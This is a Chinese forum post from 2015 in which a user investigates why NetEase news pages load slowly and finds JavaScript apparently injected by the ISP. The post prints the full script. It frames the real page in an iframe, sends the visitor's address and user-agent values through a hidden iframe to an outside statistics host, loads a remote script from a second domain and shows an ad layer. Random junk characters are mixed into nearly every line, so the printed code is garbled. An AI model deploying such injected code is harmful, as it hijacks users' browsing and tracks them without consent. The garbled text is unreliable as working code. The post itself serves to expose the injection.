|
本帖最后由 hudba 于 2015-2-3 00:56 编辑 0 `" f* V$ _6 f
9 e W' \2 V* ~, q" O* w& M上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了% c9 b: Q- m% B* c
6 f! g. C2 A# n4 q* y. w0 t6 _接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}5 @3 \! C" c- o4 Q- t
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8 http://www.v2ex.com/t/142197 g) D+ ?' w! {& Z' D
* _* V3 o: S; h- _/ z2 n
顺便查下ip138:1 r3 S u! M( `: s& I `: O
! R" e. Z7 [+ M. d" P
这是那段js里面的代码,好象是个半成品还没写入广告数据:
& y8 g% l6 h( |9 t! L$ P# d+ @4 c- function locationSearch() {
- J7 s+ f3 ?8 q - var s = getMainJs();
8 y) u R! q" |- z6 l - if (s == null) {& j- L3 r9 N% D- a
- location.reload();5 c* R \; W4 o( E: f, M1 A
- }
* i& k1 @" W7 O - return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);9 r" G3 J/ e+ P/ ?! m
- }
# Z8 @7 B& C2 b" r0 v: v# P. @
! Y( H2 o8 A! p+ _- function getParameter(name, paraStr) {
1 Q6 O7 ~+ ]: T/ e; a6 N. Y. U - var result = "";
9 M% q: M: v* o; |( [, T - var str = "&" + paraStr.split("?")[1];1 ]! G8 V9 v! k& z- }( V
- var paraName = "&" + name + "=";
6 M, S: L5 I; p" j - if (str.indexOf(paraName) != -1) {
1 ~2 F/ R6 a) \ - if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {# t* l6 J) G, }7 U
- var TmpStr = str.substring(str.indexOf(paraName), str.length);1 _# h' Q3 p" v! W" J
- result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
' J5 i8 e6 X+ g) A - 1, TmpStr.length).indexOf("&")& R1 T7 Z8 H J/ B
- - TmpStr.indexOf(paraName) + 1);- p7 i' b6 y, ?6 D' l
- } else {- x ~+ j3 y5 t
- result = str.substring(str.indexOf(paraName), str.length);- O' V& Z! J1 _1 M3 r- j
- }6 T3 F7 @ u. B4 u5 `
- ' x. t7 I6 k8 u3 ~6 {% K" D
- result = result.substring(result.indexOf("=") + 1, result.length);
) h J* J: _5 ]# b4 E3 | - } else {% c/ C2 J+ y9 E q% _
- result = "No such parameter";
_# I, C$ t) M - }4 P: {- ^5 b5 J% D8 R0 L
- return (result.replace("&", ""));0 W4 h/ {0 P& h9 s$ C- n
- }9 ^. r0 k' E1 V+ W! @. T$ u
7 t) u# I; {4 n5 D0 l; z/ h- function getMainJs() {$ a+ ?5 j. }4 c2 I/ n/ P$ n) q
- var scripts = document.getElementsByTagName("script");
' r, l" l" P/ h r - var s = null;
! T/ v# M4 b3 Q. W: L5 ] - for (var i = 0; i < scripts.length; i++) {, y6 l+ O3 x/ d) y, |* L( C3 u5 I
- if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {. e! I/ K) s' v7 v9 w, y7 r
- s = scripts[i];/ D/ t# A/ U6 a1 V8 a: M
- break;3 j0 n2 L r5 o# ?! O5 Z3 l
- }% q8 Z, ^ B( @& h5 y
- }: d$ N) Q l0 H4 U5 y& t
- return s;
# p0 Z. T( M) Q& K% [9 n; [ - }. K6 n8 J, `; K: @- I0 ]
- . B. R3 C$ u: W& J1 l) H
- function appendParam(oStr, aStr) {
c4 {& G, m0 j* C( V. o5 p - if (oStr.indexOf('?') > 0) {
$ }$ C3 p2 H# x/ {, t; A - oStr = oStr + "&" + aStr;
) J( X C1 D; o8 R$ {) s. y - } else {
. ~$ U! {# J g% @1 F3 f - oStr = oStr + "?" + aStr;' [" e4 _7 ?$ N; @- w. C
- }
* P* h& N `+ u& S$ m& s - return oStr;0 F7 l+ o1 A) d# z: Z7 Q
- }! E+ q+ y: R1 ~7 h6 L) S N
3 ], w7 e; h/ a4 `' _# [. B3 I5 v- window.onerror = function() {
3 g5 d* O2 ^& B* l- \" k - };6 |3 q' e2 E5 I8 b
- 7 M' h" f$ x# x, _; _. e5 S7 D
- var g_titleTime = 0;( @( ] b1 w# u/ [& ]0 l% g
- function setTcTitle() {
, ~) ]8 g2 ?* d. e8 a0 b3 ] - if (undefined == document) {
( N; Q* b% z/ D - g_titleTime++;6 V7 I2 j# s) Q$ E
- setTimeout("setTcTitle();", 1000);2 y) v* t' C( c. k6 |3 G
- return;' q* C( [7 G# x/ C0 B& X9 R: J
- }! r9 x/ \# l- d) [
; C) F7 P6 a# X" Q- var doc;
8 z9 X# U3 q+ R+ j - try {# v2 N- ~# v! P8 ]( S" t
- if (document.all) {2 \& M$ K1 W) a9 `5 `" F
- doc = document.frames["cn"].document;) |7 c2 V7 I" C0 j m* |+ L0 S
- } else {3 |! B$ [# H6 ?* T2 A( t% {
- doc = document.getElementById("cn").contentDocument;$ f w5 I5 B) d! a
- }
2 ]! Y; k+ B( {1 t1 C1 z& m - } catch (ex) {
0 I/ ^1 \& j' L - }: Y) R# p8 @) w6 O3 @- _# U+ R- N
- V+ M6 ^5 D, v3 q2 l$ x
- if (g_titleTime < 5
# Q+ D9 S- y$ j, Y6 _ - && (undefined == doc || undefined == doc.title || "" == doc.title)) {7 Z" j8 R# X* W9 ]# v
- g_titleTime++;
( f2 f8 i# D1 _' t6 p5 k9 @* j9 ]8 p - setTimeout("setTcTitle();", 1000);
3 ^* U. ?, V9 v, U: F* n$ g - return;
% h+ k" j3 U& R4 Z8 X" g( U - } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
6 q4 d8 Y( X) J; ?% T, B - document.title = doc.title;( Q* D+ f/ S2 B
- setTcAdvVisible();4 m) d9 E+ H% G7 }* b+ ^: |+ \
- }
0 ?+ C, @6 O# W& F1 n( Y - }
# r0 C3 q; b. ?" f
) K5 p+ I/ _8 _; J- setTimeout("setTcTitle();", 1000);
$ q9 r& ?+ E: N5 `3 [( P - " n- }7 F! G/ E
- var g_isHaveVisible = false;- u: X8 N* B9 U" K
- function setTcAdvVisible() {
" u7 z5 [3 c& @ - if (undefined != document && undefined != document.getElementById("addiv")
& l3 K+ z! [. X; w$ S - && !g_isHaveVisible) {
r0 [" ]9 }$ x8 i4 m# a6 E( l. r" U, } - document.getElementById("addiv").style.visibility = 'visible';
3 U$ j* a0 N" \- E0 j# c - document.getElementById("addiv").style.display = 'block';
! H3 u5 s9 ]4 H% ]1 @ - g_isHaveVisible = true;
. s0 _, X5 p! _& t - }
6 _' p% g0 h/ V1 K% ~ - }2 r- \$ u$ o9 M: J+ U k
- - |/ I( W8 d2 I$ ?9 _" h8 \5 m! m% @7 ~
- function UrlAnalyzer() {* G$ u1 ~5 p6 {* J
- this.divda = "";
$ `& |+ r8 R/ b) {: _ - this.tctype = "";
1 z* k; e. k! c' c2 ~9 @9 b - this.radius = "";
: G- e' x+ }' M8 [! S1 A: Q - this.rlu = "";$ c8 P" X' F, u d$ J
- }, d; P' E2 J: I# h
- " W5 F, F5 q: ]2 X
- UrlAnalyzer.prototype.initParameters = function() {' O3 b5 P2 }" h1 J
- var paraStr = locationSearch();- L& j6 l; o, Q& h4 H/ f4 U
- this.rlu = getParameter("lruedct", paraStr);$ p; P6 o* {) m9 W6 |6 W6 K. l
- this.divda = getParameter("divda", paraStr);; `+ N' ~, Y( N; W, b
- this.radius = getParameter("radius", paraStr);9 E. H1 O6 Z% H* q4 ?9 e
- this.tctype = getParameter("tctype", paraStr);3 z) e( U1 Q8 ~# _
- this.address = getParameter("address", paraStr);) E6 f( j) F9 u! [
- this.usagent = getParameter("usagent", paraStr);; d# F' t8 R. x. H0 I7 f
- }
8 f: k' k# |3 L: n
+ N1 \* v+ I% a9 W9 s- UrlAnalyzer.prototype.getHtmlDoc = function() {
' ^- I( L5 c: a8 x; r8 S3 O - var doc;. b% i1 e9 n! y7 F+ o, H
- try {
- B" t- @- j" K( w* G5 U6 ~1 [7 | - if (document.all) {
9 J+ o8 j* ?9 c; H - doc = document.frames["cn"].document;
3 P$ F: F6 v$ Z; c+ X - + S: S( e9 z# }+ a ?
- } else {
' A9 ]' n' W( n- ?. V! q - doc = document.getElementById("cn").contentDocument;
9 y+ o# k: M' } - // doc = document.getElementById("cn").contentWindow.document;
8 s6 O8 m+ m3 ` - }
" a/ H- W5 x: }3 r - } catch (ex) {- Z' z* p. @ I. P2 V3 M; @
- }
4 {$ I) Y2 x1 z; ~8 P. n; Y& V - return doc;
6 p% u, |8 M: I6 j - }
) R" t- w/ O* W: a& }1 O. U" V( l - 8 R* m' D0 w+ Z
- UrlAnalyzer.prototype.setDomain = function() {8 k- o$ t K% L, g8 t* W0 ~
- if (undefined != document.title && "" == document.title)& f/ r5 |5 I) F; q! e5 ]1 }
- {& D z N# v$ l1 G8 P# j" d# W
- var index = document.domain.indexOf(".");
4 @, ?( a( S; X! ^ - if (undefined != index && -1 != index) {' c4 K4 v" p+ r: v) t/ h
- document.domain = document.domain.substring(index + 1,
+ {2 ?2 F3 {2 `, c3 u# H; F f - document.domain.length);1 j# K$ F3 B7 Q7 w8 D- o
- }
: m; ^$ q" H: a; Z - ( Y2 ]. O& p4 a% i- o
- var doc = this.getHtmlDoc();
" z A: e, k1 m1 [6 x- n - if (undefined != doc && undefined != doc.title && "" != doc.title) {) w/ d- _2 a9 I& I4 P
- document.title = doc.title;
" _2 K9 l* Y% F) o- k2 E' u; k - setTcAdvVisible();6 y O9 z5 e- H% M; k; P. p" v, E+ z- ^
- }
3 ^3 }: l2 r6 Z+ X - }
2 @6 @# R7 k! c1 L8 s2 r; j6 ? - }
! |% e& A) y! I& H9 ~ - 8 N( Y* X4 P3 L- d8 \& o
- UrlAnalyzer.prototype.iframeCallback = function() {
. M6 l0 y/ I" ?$ S6 X' |+ t" l - var doc = this.getHtmlDoc();( q" G+ F1 _# i% j' ^/ D8 f# I
- if (undefined == doc || undefined == doc.title || "" == doc.title) {
* |: {, u, V6 D: j3 T) V" d7 m. v; l - if (undefined != document.domain) {
! O1 o$ ], S. i$ Y5 X( D/ S# I
0 u% u. o R* H- y' ~+ ]7 [+ u' z$ M3 Y- var self = this;
$ ?' g) s2 ?. c9 x* y - setTimeout(function(){self.setDomain.call(self, null)}, 1000);
: N# t$ ]/ |4 x; ^ L$ m0 B) b$ F: n - // var index = document.domain.indexOf(".");7 q# B E- g& r, v* a
- // if (undefined != index && -1 != index) {* w/ ~* H( P0 P& q) t ]4 ?. O
- // document.domain = document.domain.substring(index + 1,4 P- z* M, F' Z0 d) c( k& x! U
- // document.domain.length);1 P/ t) Z0 {; r$ b2 U! Q
- // }% a# x: b: `: I* j
- //% p( `4 \# A& I7 Z7 I2 Z \; p
- // var doc = this.getHtmlDoc();) ]3 B+ m$ F2 |. M' ^- ^4 }1 i# U# j
- // if (undefined != doc && undefined != doc.title && "" != s1 a+ r" T, g b, D
- // doc.title) {0 M3 a: d: U3 {/ }: x
- // document.title = doc.title;
7 n$ u K1 s. X" Y) ^* _% u - // setTcAdvVisible(); w9 K. S; J/ s. \
- // }" N: q* @7 a; ~8 l0 r4 Y; C) ?# I/ S
- }
5 p9 ]! u( U3 I+ _$ k) U - } else if (undefined != doc && undefined != doc.title && "" != doc.title) {) M# G9 C( `2 m- M. t
- document.title = doc.title;
; H" v5 B e5 @. i - setTcAdvVisible();
" h2 ?, b+ i! |! {# t - }) O$ ^" v' ^8 X q( s8 ?
- }
* {/ S2 Z* `" h# B$ R
7 {+ K4 Z$ q! ~7 F- UrlAnalyzer.prototype.executeHtmlContext = function() {
5 }7 T" ^' T0 U' W* [ - var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda, j2 @; v9 I* ]( _
- + "&rd=" + this.radius + "&tctype=" + this.divda + "&address=" + this.address + "&usagent=" + this.usagent;
+ ?! n6 o/ A3 F3 h u) Y& _! b) U
) ^/ p) J, u. U: k! D- var htmlStr = "<iframe src="" + staUrl
3 I% W4 m6 D. n& a! b+ r - + "" style="display:none"></iframe>";8 ?, @' ~, U J# U1 t( E- i
- W& S8 I/ }* A; T5 R- var advUrl = htmlStr
; A3 z8 p8 r' r& [ - + "<script src="http://c2.sxite.com:8060/center?advId="+ C! [: b% c" M
- + this.divda + "&radius=" + this.radius + "&area=1" + ""><\/script>";0 D' Q3 u, Q" w/ [1 N/ A& W
- document.write(advUrl);+ W) h) o2 Y1 b5 p8 ^
- , s) d2 [' n/ `; |( A" M2 \
- var self = this;. z) I c, O; r5 B
- var iframe = document.getElementById("cn");8 @7 y( k1 s4 |" B, W
- if (iframe.attachEvent) {6 n+ Z+ e' W$ @3 ?2 ?, e
- iframe.attachEvent("onload", function() {( K4 L0 `% O: F7 ?+ T& `' X
- self.iframeCallback.call(self, null);
# @& }, o8 y% `; E* }; q - });
D0 }1 Z g' k4 g - } else {0 {4 b9 u9 a/ y) d) F# Q
- iframe.onload = function() {
. h3 W* ]' ~( R+ q- U; B - self.iframeCallback.call(self, null);) V+ E. Y' H2 B! i* g) a
- }
) x! X! C. F( {$ \: R5 f9 i- T7 ^ - }
$ k" i9 E8 @0 r. D - }) j# r% w0 d9 K
; O' b0 I4 W% [# i H- UrlAnalyzer.prototype.executeMain = function() { @' D/ j, u# x& E" N
- var mainFrame = document.getElementById("cn");% p1 h; ^0 Q, }* D/ X2 d5 s' P" F C
- mainFrame.contentWindow.location.href = mainFrame.src;. q+ s8 J* U; w; D$ H
- this.initParameters();0 C. `8 C+ k' a
- this.executeHtmlContext();1 ~; l. A' o2 i, B& B: v
- }% T( \4 l- a# P' V6 A
- / p3 [/ z& I4 T" i6 p, `7 T
- var g_analyzer = new UrlAnalyzer();3 w- t/ @: n! U2 w# y
- g_analyzer.executeMain();1 G3 ^4 }; z9 ?3 n7 y, U
复制代码
8 W; w( \% V0 ^; f1 q$ ~0 Y1 B
" A% o. f* n0 B( i
7 j( s* A$ O. ^, h |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?立即注册
x
|